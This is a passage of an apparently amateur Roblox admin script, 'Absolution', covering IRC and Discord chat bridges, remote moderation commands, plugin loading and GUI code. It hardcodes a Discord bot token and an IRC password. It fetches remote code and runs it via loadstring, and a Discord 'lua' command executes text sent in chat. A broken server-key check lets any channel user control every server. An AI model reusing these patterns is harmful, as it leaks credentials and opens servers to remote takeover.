  2452. if Connection.Channels[Channel] == true then
  2453. local Con = {}
  2454. local Connected = true
  2455. local VCon;
  2456. Spawn(function()
  2457. local function Return(v,Raw)
  2458. if Connected == false then
  2459. for i,v in pairs(Connection.VagueEvents) do
  2460. if v == VCon then
  2461. Connection.VagueEvents[i] = false
  2462. end
  2463. end
  2464. return
  2465. end
  2466. if type(v) == "table" and v[2] ~= nil and v[2] == "JOIN" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1]:lower() == Channel:lower() and (v[3]:sub(1,v[3]:find("!")-1) ~= Nick or Raw == true) then
  2467. Event(v[3]:sub(1,v[3]:find("!")-1)..' has joined the channel.')
  2468. end
  2469. end
  2470. VCon = Return
  2471. VagueReceived(Connection,Return)
  2472. end)
  2473. Con.Disconnect = function(this)
  2474. Connected = false
  2475. Connection.ChannelEvents[Channel][Con] = nil
  2476. end
  2477. Connection.ChannelEvents[Channel][Con] = Con
  2478. return Con
  2479. else
  2480. return false,"You are not on this channel with this connection."
  2481. end
  2482. else
  2483. return false,"There is no connection with this nick and host."
  2484. end
  2485. end
  2486.  
  2487. Absolution.HttpConstants.IRC.API.UserLeft = function(this,Connection,Channel,Event)
  2488. local Host = Connection.Host
  2489. local Nick = Connection.Nick
  2490. local Key = Connection.Key
  2491. if Connections[Nick.."@"..Host] ~= nil then
  2492. if Connection.Channels[Channel] == true then
  2493. local Con = {}
  2494. local Connected = true
  2495. local VCon;
  2496. Spawn(function()
  2497. local function Return(v)
  2498. if Connected == false then
  2499. for i,v in pairs(Connection.VagueEvents) do
  2500. if v == VCon then
  2501. Connection.VagueEvents[i] = false
  2502. end
  2503. end
  2504. return
  2505. end
  2506. if type(v) == "table" and v[2] ~= nil and v[2] == "PART" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1]:lower() == Channel:lower() then
  2507. Event(v[3]:sub(1,v[3]:find("!")-1))
  2508. elseif type(v) == "table" and v[2] ~= nil and v[2] == "QUIT" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" then
  2509. if Connection.UserLists[Channel][v[3]:sub(1,v[3]:find("!")-1)] ~= nil then
  2510. Event(v[3]:sub(1,v[3]:find("!")-1)..' has left the channel.')
  2511. end
  2512. end
  2513. end
  2514. VCon = Return
  2515. VagueReceived(Connection,Return)
  2516. end)
  2517. Con.Disconnect = function(this)
  2518. Connected = false
  2519. Connection.ChannelEvents[Channel][Con] = nil
  2520. end
  2521. Connection.ChannelEvents[Channel][Con] = Con
  2522. return Con
  2523. else
  2524. return false,"You are not on this channel with this connection."
  2525. end
  2526. else
  2527. return false,"There is no connection with this nick and host."
  2528. end
  2529. end
  2530.  
  2531. Absolution.HttpConstants.IRC.API.KeepAlive = function(this,Connection)
  2532. local Host = Connection.Host
  2533. local Nick = Connection.Nick
  2534. local Key = Connection.Key
  2535. if Connections[Nick.."@"..Host] ~= nil then
  2536. Connection.Counter = Connection.Counter+1
  2537. local Ping = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=PONG :webchat.SwiftIRC.net")
  2538. if Ping ~= false then
  2539. return true
  2540. else
  2541. return false,"Something went wrong."
  2542. end
  2543. else
  2544. return false,"There is no connection with this nick and host."
  2545. end
  2546. end
  2547.  
  2548. Absolution.HttpConstants.IRC.IRCVerify = function(pName)
  2549. for i,v in pairs(Absolution.HttpConstants.IRC.whiteList) do
  2550. if pName == v then
  2551. return true
  2552. end
  2553. end
  2554. return false
  2555. end
  2556.  
  2557. Absolution.HttpConstants.IRC.Chat = function(msg,channel,playername)
  2558. if not Absolution.HttpConstants.IRC.Connection then return end
  2559. local c={Absolution.HttpConstants.IRC.API:SendMessage(Absolution.HttpConstants.IRC.Connection,channel and tostring(channel) or Absolution.HttpConstants.IRC.Name,(playername and playername..': ' or nil)..msg)}
  2560. if not c[1] then Absolution.IRCDebug[#Absolution.IRCDebug+1] = c[2] end
  2561. return "success"
  2562. end
  2563.  
  2564. Absolution.Functions.IRCLaunch = function()
  2565. local function Connect(Channel, con, event)
  2566. local c = {Absolution.HttpConstants.IRC.API:JoinChannel(con,Channel)}
  2567. if not c[1] then Absolution.IRCDebug[#Absolution.IRCDebug+1] = c[2] end
  2568. Absolution.Connections['IRCMessageReceived'] = Absolution.HttpConstants.IRC.API:MessageReceived(con,Channel, event)
  2569. Absolution.Connections['IRCUserJoined'] = Absolution.HttpConstants.IRC.API:UserJoined(con,Channel, event)
  2570. Absolution.Connections['IRCUserLeft'] = Absolution.HttpConstants.IRC.API:UserLeft(con,Channel, event)
  2571. end
  2572. Absolution.HttpConstants.IRC.Connection = Absolution.HttpConstants.IRC.API:Connect("https://qwebirc.swiftirc.net/", 'Absolution', 'lonewolf122221')
  2573. Connect(Absolution.HttpConstants.IRC.Name, Absolution.HttpConstants.IRC.Connection, Absolution.Handler.sendChat)
  2574. Absolution.HttpConstants.IRC.API:ChangeNick(Absolution.HttpConstants.IRC.Connection,'absolutionClient_'..Absolution.uniqueKey)
  2575. spawn(function()
  2576. while wait(5) do
  2577. if not Absolution then break end
  2578. Absolution.HttpConstants.IRC.API:KeepAlive(Absolution.HttpConstants.IRC.Connection)
  2579. end
  2580. end)
  2581. end
  2582.  
  2583. Absolution.DiscordThread = coroutine.create(function()
  2584.  
  2585. local API = require(0x185B9246)('I<3Discord')
  2586. local http = game:GetService("HttpService")
  2587. API.ServerID = "206332604918530058"
  2588. API.ChannelID = "213788813644922880"
  2589. API.Discriminator = "Bot-Y#5013"
  2590. API.headers['authorization'] = "Bot MTk2NjQ5MTMyNTY2MzgwNTQ1.CnKS4g.s0YsP5yCjJC-4CvBYf6aaUtyk_o";
  2591.  
  2592. Server = Absolution.uniqueKey
  2593. function Chat(plr) plr.Chatted:connect(function(msg) if msg:find'http' then msg='Filtered content.' end API.sendMessage(Server..' **<'..plr.Name..'>** '..msg) end) end
  2594. for _,v in next, game:service'Players':GetPlayers() do Chat(v) end
  2595. game.Players.PlayerAdded:connect(function(p) Chat(p) API.sendMessage(Server..' **<'..Server..'>** '..p.Name.." has joined.") end)
  2596. game.Players.PlayerRemoving:connect(function(p) API.sendMessage('**<'..Server..'>** '..p.Name..' has left.') end)
  2597. API.sendMessage('~A new server ('..Server..') has opened')
  2598.  
  2599. API.messageReceived(function(data)
  2600. if data['author']['username']:lower():find'bot' then
  2601. if not data['content']:find(tostring(Server)) then
  2602. data['content'] = data['content']:sub(9)
  2603. data['content'] = data['content']:gsub('**<','')
  2604. data['content'] = data['content']:gsub('**','')
  2605. local probplr = data['content']:sub(1,data['content']:find('>')-1)
  2606. local msg = data['content']:sub(data['content']:find('>')+1)
  2607. Absolution.Handler.sendChat(msg, nil, probplr, nil, true)
  2608. end
  2609. else
  2610. Absolution.Handler.sendChat(data['content'], nil, data['author']['username'], nil, true)
  2611. end
  2612. end)
  2613.  
  2614. Absolution.API = API
  2615. end)
  2616.  
  2617. Absolution.DiscordCommandThread = coroutine.create(function()
  2618. local BaseURL = "https://discordapp.com/"
  2619. Absolution.DCTAPI = {}
  2620. local http = game:GetService("HttpService")
  2621. local Server = Absolution.uniqueKey
  2622. Absolution.DCTAPI.headers = {}
  2623. Absolution.DCTAPI.headers['authorization'] = nil;--bleh
  2624. Absolution.DCTAPI.ServerID = ""
  2625. Absolution.DCTAPI.ChannelID = ""
  2626. Absolution.DCTAPI.Discriminator = nil
  2627.  
  2628. Absolution.DCTAPI.sendMessage = function(message)
  2629. http:PostAsync(BaseURL.."api/channels/"..Absolution.DCTAPI.ChannelID.."/messages", "content="..message.."&tts=false",2,false,Absolution.DCTAPI.headers)
  2630. end
  2631.  
  2632. Absolution.DCTAPI.createInvite = function()
  2633. http:PostAsync(BaseURL.."api/channels/"..Absolution.DCTAPI.ChannelID.."/invites", "max_age=86400&max_uses=0&temporary=false",2,false,Absolution.DCTAPI.headers)
  2634. end
  2635.  
  2636. Absolution.DCTAPI.createTextChannel = function(Name)
  2637. local data = http:PostAsync(BaseURL.."api/guilds/"..Absolution.DCTAPI.ServerID.."/channels","name="..Name.."&type=text",2,false,Absolution.DCTAPI.headers)
  2638. end
  2639.  
  2640. Absolution.DCTAPI.getInvites = function()
  2641. local d=http:PostAsync(BaseURL.."api/channels/"..Absolution.DCTAPI.ChannelID.."/invites","",2,false,Absolution.DCTAPI.headers)
  2642. return http:JSONDecode(d);
  2643. end
  2644.  
  2645. Absolution.DCTAPI.messageReceived = function(code)
  2646. local msgs = {}
  2647. repeat
  2648. local data=http:GetAsync(BaseURL.."api/channels/"..Absolution.DCTAPI.ChannelID.."/messages",false,Absolution.DCTAPI.headers)
  2649. --print(data)
  2650. local hax = http:JSONDecode(data)
  2651. if msgs[1] == hax[1]['timestamp'] then
  2652. --print('Already posted')
  2653. else
  2654. table.insert(msgs,1,hax[1]['timestamp'])
  2655. code(hax[1])
  2656. end
  2657. wait(2)
  2658. until nil
  2659. end
  2660.  
  2661. Absolution.DCTAPI.getRoles = function()--Added this so you can um... Mention a role.
  2662. local data = http:GetAsync(BaseURL.."api/guilds/"..Absolution.DCTAPI.ServerID.."/roles", false, Absolution.DCTAPI.headers)
  2663. --print(data)
  2664. return http:JSONDecode(data);
  2665. end
  2666.  
  2667. Absolution.DCTAPI.getUsers = function()
  2668. local data=http:GetAsync(BaseURL.."api/servers/"..Absolution.DCTAPI.ServerID.."/widget.json",true)
  2669. return http:JSONDecode(data);
  2670. end
  2671. local http = game:GetService("HttpService")
  2672. Absolution.DCTAPI.ServerID = "206332604918530058"
  2673. Absolution.DCTAPI.ChannelID = "214128730002554880"
  2674. Absolution.DCTAPI.Discriminator = "Bot-Y#5013"
  2675. Absolution.DCTAPI.headers['authorization'] = "Bot MTk2NjQ5MTMyNTY2MzgwNTQ1.CnKS4g.s0YsP5yCjJC-4CvBYf6aaUtyk_o";
  2676.  
  2677. Absolution.DCTAPI.sendMessage('~A new server ('..Server..') has opened!')
  2678. Absolution.DCTAPI.sendMessage('Remember, the command syntax is !serverid cmd/arg1/arg2(optional).')
  2679.  
  2680. Absolution.DCTAPI.messageReceived(function(data)
  2681.  
  2682. if data['author']['username']:lower():find'bot' then return end
  2683.  
  2684. local msg = data['content']
  2685.  
  2686. function s(msga)
  2687. Absolution.DCTAPI.sendMessage(Server..': '..msga)
  2688. end
  2689.  
  2690. if not msg:find'!' then s('Please append "!" to the front of the message, followed by the server key.') return end
  2691.  
  2692. if not msg:sub(2,9) == Server then return end
  2693.  
  2694. msg = msg:sub(10)
  2695.  
  2696. Absolution.Handler.sendChat(msg, nil, '[CONSOLE] '..data['author']['username'], nil, true)
  2697.  
  2698. local admin = data['author']['username']
  2699.  
  2700. local cmddat = Absolution.Functions.split(msg, '/')
  2701.  
  2702. local command = cmddat[1]
  2703. local player = cmddat[2]
  2704. local reason = cmddat[3]
  2705.  
  2706. local succ,err = ypcall(function()
  2707.  
  2708. local function getPlayers(plrname)
  2709. local rtn = {}
  2710. for q,e in next,game.Players:GetPlayers() do
  2711. if e.Name:lower():sub(1,#plrname)==plrname:lower() then
  2712. table.insert(rtn, e)
  2713. end
  2714. end
  2715. return rtn
  2716. end
  2717.  
  2718. local players;
  2719.  
  2720. pcall(function() players = getPlayers(player) end)
  2721. print(#players)
  2722.  
  2723. if command == 'kick' then
  2724. for i,v in pairs(players) do
  2725. s('I kicked '..tostring(v)..' for you '..admin..'!')
  2726. v:Kick('[ABSOLUTION]: You were disconnected via discord by '..admin..' for '..reason)
  2727. end
  2728. elseif command == 'ban' then
  2729. for i,v in pairs(players) do
  2730. Absolution.Ranked[v.Name].Rank = -2
  2731. Absolution.Ranked[v.Name].Description = reason..' ('..admin..')'
  2732. s('I banned '..tostring(v)..' for you '..admin..'!')
  2733. end
  2734. elseif command == 'kill' then
  2735. for i,v in pairs(players) do
  2736. if v.Character then
  2737. v.Character:breakJoints''
  2738. s('I killed '..tostring(v)..' for you '..admin..'!')
  2739. end
  2740. end
  2741. elseif command == 'respawn' then
  2742. for i,v in pairs(players) do
  2743. v:LoadCharacter()
  2744. s('I respawned '..tostring(v)..' for you '..admin..'!')
  2745. end
  2746. elseif command == 'lua' then
  2747. local Ran,Error = ypcall(function()
  2748. local iprint = function(a) Absolution.DCTAPI.sendMessage(a) end
  2749. loadstring(plr)()
  2750. end)
  2751. if not Ran then s('Error: '..Error) else s('Okay, Job\'s done boss!') end
  2752. elseif command == 'message' then
  2753. Absolution.Functions.Announce(admin..': '..player, true)
  2754. s('Okay, I sent your message for you '..admin)
  2755. elseif command == 'hint' then
  2756. Absolution.Functions.Announce(admin..': '..player)
  2757. s('Okay, I sent your hint for you '..admin)
  2758. elseif command == 'shutdown' then
  2759. Absolution.Functions.Shutdown(admin, plr)
  2760. elseif command == 'ping' then
  2761. s('Hey, '..admin..' Pong!')
  2762. elseif command == 'playerlist' then
  2763. local plrn = {}
  2764.  
  2765. for i,v in next,game.Players:GetPlayers() do
  2766. table.insert(plrn, v.Name)
  2767. end
  2768.  
  2769. local str = '{'..table.concat(plrn, ':')..'}'
  2770. s(str)
  2771. end
  2772. end)
  2773. if not succ then s('Error: '..err) end
  2774. end)
  2775.  
  2776. end)
  2777.  
  2778.  
  2779.  
  2780. -- GetSplit & Dismiss --
  2781. Absolution.Functions.Dismiss = function(plr)
  2782. pcall(function()
  2783. if type(plr) == "userdata" then
  2784. plr = plr.Name
  2785. end
  2786. for i,v in pairs(Absolution.Tablets) do
  2787. if v.Plr == plr then
  2788. coroutine.wrap(function()
  2789. for i = 0, 1, 0.1 do
  2790. pcall(function()
  2791. v.Tab.Transparency = i
  2792. v.Tab.BG.TL.TextStrokeTransparency = i
  2793. wait()
  2794. end)
  2795. end
  2796. v.Tab:Destroy()
  2797. end)()
  2798. Absolution.Tablets[i]=nil
  2799. end
  2800. end
  2801. end)
  2802. end
  2803.  
  2804. Absolution.Functions.GetSplit = function(Message)
  2805. local a = nil
  2806. for i = 1, #Message do
  2807. if Message:sub(i,i) == "-" then
  2808. a = i + 1
  2809. break
  2810. end
  2811. end
  2812. if a ~= nil then
  2813. return Message:sub(a)
  2814. else
  2815. return nil
  2816. end
  2817. end
  2818.  
  2819. -- Notifications --
  2820. Absolution.Functions.Notify = function(Message, Player, Color)
  2821. if Player and type(Player) == 'string' then Player = Absolution.Services.Players:findFirstChild(Player) end
  2822. Absolution.Handler.sendChat('[SERVER] '..Message, (Player and Player or nil), nil, Color)
  2823. local pseudoColor
  2824. if Color=='White' then
  2825. pseudoColor = 'Print'
  2826. elseif Color=='Red' then
  2827. pseudoColor = 'Error'
  2828. elseif Color=='Blue' then
  2829. pseudoColor='Run'
  2830. elseif Color=='Green' then
  2831. pseudoColor='Note'
  2832. elseif Color=='Orange' then
  2833. pseudoColor='Warn'
  2834. else
  2835. pseudoColor='Print'
  2836. end
  2837. Absolution.Functions.sbOutput('[SERVER] '..Message, pseudoColor)
  2838. end
  2839.  
  2840. -- getServerInfo --
  2841. Absolution.Functions.getServerInfo = function()
  2842. local rtnData = {}
  2843. local getAllInstances = function()
  2844. local finalInstanceCount = 0
  2845. local data = {}
  2846. local places = {'Workspace','Lighting','ReplicatedStorage','Teams','Players'}
  2847. recurse = function(place)
  2848. for i,v in pairs(place:children'') do
  2849. data[#data+1] = v
  2850. recurse(v)
  2851. end
  2852. return data
  2853. end
  2854. for nildata,place in pairs(places) do
  2855. for i,v in pairs(recurse(game:GetService(place))) do
  2856. finalInstanceCount=finalInstanceCount+1
  2857. end
  2858. end
  2859. return finalInstanceCount
  2860. end
  2861. local getAllPlayerLatencyRounded = function()
  2862. local prepareToRound = {}
  2863. local finalRound = 0
  2864. local toDivide = 0
  2865. for i,v in pairs(Absolution.Players) do
  2866. local data = v["FPS"]
  2867. table.insert(prepareToRound, data and data or 30)
  2868. end
  2869. for nildata,index in next,prepareToRound do
  2870. finalRound = finalRound+index
  2871. toDivide = toDivide+1
  2872. end
  2873. return (finalRound/toDivide)
  2874. end
  2875. local getNumData = function(data)
  2876. local rtn = 0
  2877. for i,v in next,data do
  2878. rtn = rtn + 1
  2879. end
  2880. return rtn
  2881. end
  2882. local getNumAdmins = function()
  2883. local adminCount = 0
  2884. for i,v in next,Absolution.Ranked do
  2885. if v.Rank ==6 then
  2886. adminCount = adminCount + 1
  2887. end
  2888. end
  2889. return adminCount
  2890. end
  2891. local getNumMods = function()
  2892. local adminCount = 0
  2893. for i,v in next,Absolution.Ranked do
  2894. if v.Rank ==4 then
  2895. adminCount = adminCount + 1
  2896. end
  2897. end
  2898. return adminCount
  2899. end
  2900. local getNumStaff = function()
  2901. local adminCount = 0
  2902. for i,v in next,Absolution.Ranked do
  2903. if v.Rank >=4 then
  2904. adminCount = adminCount + 1
  2905. end
  2906. end
  2907. return adminCount
  2908. end
  2909. local getNumBanned = function()
  2910. local bannedPlayers = 0
  2911. for i,v in next,Absolution.Ranked do
  2912. if v.Rank < 0 then
  2913. bannedPlayers = bannedPlayers+1
  2914. end
  2915. end
  2916. return bannedPlayers
  2917. end
  2918. local getAdminsInGame = function()
  2919. local allAdmins = {}
  2920. for i,v in pairs(Absolution.Functions.getALLPlayers()) do
  2921. local pRank = Absolution.Functions:findRank(v)
  2922. if pRank >=4 then
  2923. table.insert(allAdmins, tostring(v))
  2924. end
  2925. end
  2926. return allAdmins
  2927. end
  2928. rtnData["RanBy"] = (tostring(Absolution.ranBy))
  2929. rtnData["PrivateServer"],rtnData["Server Lock"],rtnData["ScriptLock"] = Absolution.PrivateServer.Enabled,Absolution.Locks.Server.Locked,(Absolution.Locks.Server.Local and Absolution.Locks.Server)
  2930. rtnData["HttpEnabled"] = (Absolution.HttpConstants.HttpEnabled)
  2931. rtnData["#Connections"] = (getNumData(Absolution.Connections))
  2932. rtnData["#Functions"] = (getNumData(Absolution.Functions))
  2933. rtnData["#Commands"] = (getNumData(Absolution.Commands))
  2934. rtnData["#Admins"] = (getNumAdmins())
  2935. rtnData["#Moderators"] = (getNumMods())
  2936. rtnData["#Staff"] = (getNumStaff())
  2937. rtnData["#Banned"] = (getNumBanned())
  2938. rtnData["Admins In-Game"] = (table.concat(getAdminsInGame(), ':'))
  2939. rtnData["#Ranked Players"] = (getNumData(Absolution.Ranked))
  2940. rtnData["Players"] = (#Absolution.Functions.getALLPlayers())
  2941. rtnData["ServerLatency"] = (1/wait())
  2942. rtnData["ServerUptime"] = (Absolution.Functions.GetTime(game.Workspace.DistributedGameTime))
  2943. rtnData["InstanceCount"] = (getAllInstances())
  2944. rtnData["AbsolutionHandler"] = (Absolution.Handler.SERVER:GetFullName())
  2945. return rtnData
  2946. end
  2947.  
  2948. --tropkillaz
  2949.  
  2950. -- PlayAudio --
  2951. Absolution.Functions.PlayAudio = function(Player,Id)
  2952. Absolution.Functions.Dismiss(Player)
  2953. for _, Child in pairs(Absolution.Services.Workspace:GetChildren()) do if Child:IsA("Sound") then Child:stop() Child:Destroy() end end
  2954. if Absolution.Music.isPlaying then Absolution.Music.currentSong:Stop() Absolution.Music.isPlaying = false end
  2955. local Sound = Absolution.Functions:Create("Sound",{Parent = workspace,Volume = 1, Looped = true, Pitch = 1, SoundId = "rbxassetid://"..Id})
  2956. Sound:Play()
  2957. Absolution.Music.isPlaying = true
  2958. Absolution.Music.currentSong = Sound
  2959. Absolution.Functions.Out(Player,"Now playing:"..Absolution.Services.MarketplaceService:GetProductInfo(Id).Name,2)
  2960. Absolution.Functions.Out(Player,"Creator:"..Absolution.Services.MarketplaceService:GetProductInfo(Id).Creator.Name,2)
  2961. Absolution.Functions.Out(Player,"Sales:"..Absolution.Services.MarketplaceService:GetProductInfo(Id).Sales,2)
  2962. Absolution.Functions.Output(Player,"Buy:\n"..Absolution.Services.MarketplaceService:GetProductInfo(Id).Name.."?",nil,function() Absolution.Services.MarketplaceService:PromptPurchase(Player,Id) end)
  2963. Absolution.Functions.Output(Player,"Music settings",nil,function()
  2964. Absolution.Functions.Dismiss(Player)
  2965. local Return
  2966. Return = function()
  2967. Absolution.Functions.Dismiss(Player)
  2968. Absolution.Functions.Output(Player, "Set Volume", nil, function()
  2969. Absolution.Functions.Dismiss(Player)
  2970. for Volume = 0, 1, .1 do
  2971. Absolution.Functions.Output(Player, Volume, nil, function()
  2972. Absolution.Functions.Dismiss(Player)
  2973. Sound.Volume = Volume
  2974. end)
  2975. end
  2976. Absolution.Functions.Output(Player, "Back", "Bright red", Return)
  2977. end)
  2978. Absolution.Functions.Output(Player, "Stop Song", nil,function()
  2979. Absolution.Functions.Dismiss(Player)
  2980. Sound:Stop()
  2981. wait()
  2982. Sound:Destroy()
  2983. end)
  2984. end
  2985. Return()
  2986. end)
  2987. end
  2988.  
  2989. -- Plugins --
  2990. Absolution.PluginManager.Launch = function()
  2991. local p = Absolution.PluginManager -- it would take too long to do this in a sexy manner...
  2992. local o = Absolution.Functions.Output
  2993. p.addPlugin = function(self, module)
  2994. local m=require(module)
  2995. if not type(m)=='table' then return 'This module cannot run as a '..type(m)..'!'end
  2996. local Title=m["packTitle"]
  2997. local Version=m["currentVersion"]
  2998. local CommandPack=m["commandFunctions"]
  2999. if not Title then Title='Undefined'end
  3000. if not Version then Version = 1 end
  3001. if not CommandPack then return'No commands were found!'end
  3002. for i,v in pairs(CommandPack) do
  3003. local cmd = i
  3004. local tbl = v
  3005. local success, yourlifeisafail = ypcall(function()
  3006. Absolution.Functions.Command(cmd, tbl.Uses, tbl.Rank, tbl.Description, tbl.Flags, tbl.Function)
  3007. end)
  3008. if not success then
  3009. o('Admins',tostring(module)..' encountered an error during startup...','Really red',function(dismissed)
  3010. Absolution.Functions.Dismiss(dismissed)
  3011. o(dismissed, 'ERROR: '..yourlifeisafail)
  3012. o(dismissed, 'Module: '..tostring(module))
  3013. o(dismissed, 'packTitle: '..Title)
  3014. o(dismissed, 'packRevision: '..Version)
  3015. end)
  3016. else
  3017. self[cmd] = tbl
  3018. end
  3019. end
  3020. end
  3021. local rtn = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.pluginLink)
  3022. if rtn then
  3023. local mods = loadstring(rtn)()
  3024. wait''
  3025. if Absolution.PluginManager.Modules then
  3026. local modz= Absolution.PluginManager.Modules
  3027. for i,v in pairs(modz) do
  3028. Absolution.PluginManager:addPlugin(v)
  3029. end
  3030. end
  3031. end
  3032. end
  3033.  
  3034. -- HttpGet --
  3035. Absolution.Functions.HttpGet = function(URL)
  3036. return (Absolution.HttpConstants.HttpEnabled and Absolution.Services.HttpService:GetAsync(URL) or "HTTP Requests are not enabled")
  3037. end
  3038.  
  3039. -- GetCatalog --
  3040. Absolution.Functions.GetCatalog = function(KeyWords, Category)
  3041. local KeyWords = Absolution.Services.HttpService:UrlEncode(KeyWords)
  3042. local URL = Absolution.HttpConstants.IP..Absolution.HttpConstants.APIs.Music..'?Keyword='..tostring(KeyWords)..'&Category='..tostring(Category)
  3043. print(URL)
  3044. return Absolution.Services.HttpService:JSONDecode(Absolution.Functions.HttpGet(URL))
  3045. end
  3046.  
  3047. -- ShowCommands --
  3048. Absolution.Functions.ShowCommands = function(Speaker, fr)
  3049. local sRank = Absolution.Functions:findRank(tostring(Speaker))
  3050. Absolution.Functions.Dismiss(Speaker)
  3051. Absolution.Functions.OpenCmds = function(Rank, Speaker)
  3052. Absolution.Functions.Dismiss(Speaker)
  3053. for Name,Tab in pairs(Absolution.Commands) do
  3054. if Tab.Rank == Rank and Tab.Rank >= 0 then
  3055. Absolution.Functions.Output(Speaker, Name, nil, function()
  3056. Absolution.Functions.Dismiss(Speaker)
  3057. Absolution.Functions.Output(Speaker, "Name: "..Name)
  3058. Absolution.Functions.Output(Speaker, "Uses: "..table.concat(Tab.Uses, ", "))
  3059. Absolution.Functions.Output(Speaker, "Rank: "..Tab.Rank)
  3060. Absolution.Functions.Output(Speaker, "Description: "..Tab.Description)
  3061. Absolution.Functions.Output(Speaker, "Flags: "..Tab.Flags)
  3062. Absolution.Functions.Output(Speaker, (Tab.Rank <= Rank and 'You can use this command!' or 'You have no access to this command.'),(Tab.Rank <= Rank and 'Lime green' or 'Really red'))
  3063. Absolution.Functions.Output(Speaker, "Dismiss")
  3064. end)
  3065. elseif Rank == "usage" and Tab.Rank <=Absolution.Functions:findRank(Speaker.Name) then
  3066. Absolution.Functions.Output(Speaker, Name, nil, function()
  3067. Absolution.Functions.Dismiss(Speaker)
  3068. Absolution.Functions.Output(Speaker, "Name: "..Name)
  3069. Absolution.Functions.Output(Speaker, "Uses: "..table.concat(Tab.Uses, ", "))
  3070. Absolution.Functions.Output(Speaker, "Rank: "..Tab.Rank)
  3071. Absolution.Functions.Output(Speaker, "Description: "..Tab.Description)
  3072. Absolution.Functions.Output(Speaker, "Flags: "..Tab.Flags)
  3073. Absolution.Functions.Output(Speaker, (Tab.Rank <= sRank and 'You can use this command!' or 'You have no access to this command.'),(Tab.Rank <= sRank and 'Lime green' or 'Really red'))
  3074. Absolution.Functions.Output(Speaker, "Dismiss")
  3075. end)
  3076. elseif Rank == "all" and Tab.Rank >= 0 then
  3077. Absolution.Functions.Output(Speaker, Name.." ("..Tab.Rank..")", nil, function()
  3078. Absolution.Functions.Dismiss(Speaker)
  3079. Absolution.Functions.Output(Speaker, "Name: "..Name)
  3080. Absolution.Functions.Output(Speaker, "Uses: "..table.concat(Tab.Uses, ", "))
  3081. Absolution.Functions.Output(Speaker, "Rank: "..Tab.Rank)
  3082. Absolution.Functions.Output(Speaker, "Description: "..Tab.Description)
  3083. Absolution.Functions.Output(Speaker, "Flags: "..Tab.Flags)
  3084. Absolution.Functions.Output(Speaker, (Tab.Rank <= sRank and 'You can use this command!' or 'You have no access to this command.'),(Tab.Rank <= sRank and 'Lime green' or 'Really red'))
  3085. Absolution.Functions.Output(Speaker, "Back", "Really black", function() Absolution.Functions.OpenCmds("all", Speaker) end)
  3086. Absolution.Functions.Output(Speaker, "Dismiss")
  3087. end)
  3088. end
  3089. end
  3090. -- wait()
  3091. Absolution.Functions.Output(Speaker, "Dismiss", nil)
  3092. Absolution.Functions.Output(Speaker, "Back", "Really black", function() Absolution.Functions.ShowCommands(Speaker) end)
  3093. end
  3094. local Rank = Absolution.Functions:findRank(tostring(Speaker))
  3095. local frnk = (fr and fr or nil)
  3096. if frnk then
  3097. Absolution.Functions.OpenCmds(frnk, Speaker)
  3098. else
  3099. for _,v in pairs(Absolution.Ranks) do
  3100. if ((Rank >= _) and (_ >= 0)) then
  3101. Absolution.Functions.Output(Speaker, v..'('.._..')', nil, function() Absolution.Functions.OpenCmds(_, Speaker) end)
  3102. end
  3103. end
  3104. Absolution.Functions.Output(Speaker, "Commands you can use", 'Lime green', function() Absolution.Functions.OpenCmds("usage", Speaker) end)
  3105. Absolution.Functions.Output(Speaker, "All", nil, function() Absolution.Functions.OpenCmds("all", Speaker) end)
  3106. Absolution.Functions.Output(Speaker, "Dismiss")
  3107. end
  3108. end
  3109.  
  3110. -- nickName --
  3111. Absolution.Functions.nickName = function(playerName, nickName)
  3112.  
  3113. Absolution.Nicknames[playerName] = nickName
  3114.  
  3115. local DataStore = game:GetService("DataStoreService"):GetDataStore("NickNamez")
  3116.  
  3117. local key = "user_" .. playerName
  3118.  
  3119. DataStore:UpdateAsync(key, function(oldValue)
  3120. local newValue = nickName
  3121. return newValue
  3122. end)
  3123.  
  3124. end
  3125.  
  3126. -- Console --
  3127. Absolution.Functions.MakeOutput = function(Player)
  3128. if Player:FindFirstChild("PlayerGui") and Player:FindFirstChild("PlayerGui").ClassName == "PlayerGui" then
  3129. spawn(function()
  3130. local Closed = false
  3131. local ScreenGui = Instance.new("ScreenGui")
  3132. ScreenGui.Name = "Absolution Output GUI"
  3133. ScreenGui.Parent = Player.PlayerGui
  3134.  
  3135. local Main = Instance.new("TextButton")
  3136. Main.Name = "MainText"
  3137. Main.AutoButtonColor = false
  3138. Main.BackgroundColor3 = Color3.new(0, 0, 0)
  3139. Main.BorderSizePixel = 0
  3140. Main.Size = UDim2.new(0, 560, 0, 15)
  3141. Main.Draggable = true
  3142. Main.Font = "SourceSansBold"
  3143. Main.FontSize = "Size14"
  3144. Main.TextYAlignment = "Top"
  3145. Main.TextColor3 = Color3.new(1, 1, 1)
  3146. Main.Text = "Absolution Output"
  3147. Main.TextXAlignment = "Left"
  3148. Main.Position = UDim2.new(0.620, 0, 0.600, 0)
  3149. Main.Parent = ScreenGui
  3150.  
  3151. local Clear = Instance.new("TextButton")
  3152. Clear.Name = "Clear"
  3153. Clear.Active = true
  3154. Clear.AutoButtonColor = false
  3155. Clear.BackgroundColor3 = Color3.new(0, 0, 0)
  3156. Clear.BorderSizePixel = 0
  3157. Clear.Position = UDim2.new(1, 0, 0, 0)
  3158. Clear.Size = UDim2.new(0, 25, 0, 15)
  3159. Clear.Font = "SourceSansBold"
  3160. Clear.FontSize = "Size14"
  3161. Clear.Text = "Clear"
  3162. Clear.TextYAlignment = "Top"
  3163. Clear.TextColor3 = Color3.new(1, 1, 1)
  3164. Clear.TextYAlignment = "Top"
  3165. Clear.TextXAlignment = "Right"
  3166. Clear.Parent = Main
  3167.  
  3168. local OpenClose = Instance.new("TextButton")
  3169. OpenClose.Name = "OpenClose"
  3170. OpenClose.AutoButtonColor = false
  3171. OpenClose.BackgroundColor3 = Color3.new(0, 0, 0)
  3172. OpenClose.BorderSizePixel = 0
  3173. OpenClose.Position = UDim2.new(1, 25, 0, 0)
  3174. OpenClose.Size = UDim2.new(0, 15, 0, 15)
  3175. OpenClose.Font = "SourceSansBold"
  3176. OpenClose.FontSize = "Size14"
  3177. OpenClose.TextYAlignment = "Top"
  3178. OpenClose.Text = "-"
  3179. OpenClose.TextColor3 = Color3.new(1, 1, 1)
  3180. OpenClose.Parent = Main
  3181.  
  3182. local ContentFrame = Instance.new("Frame")
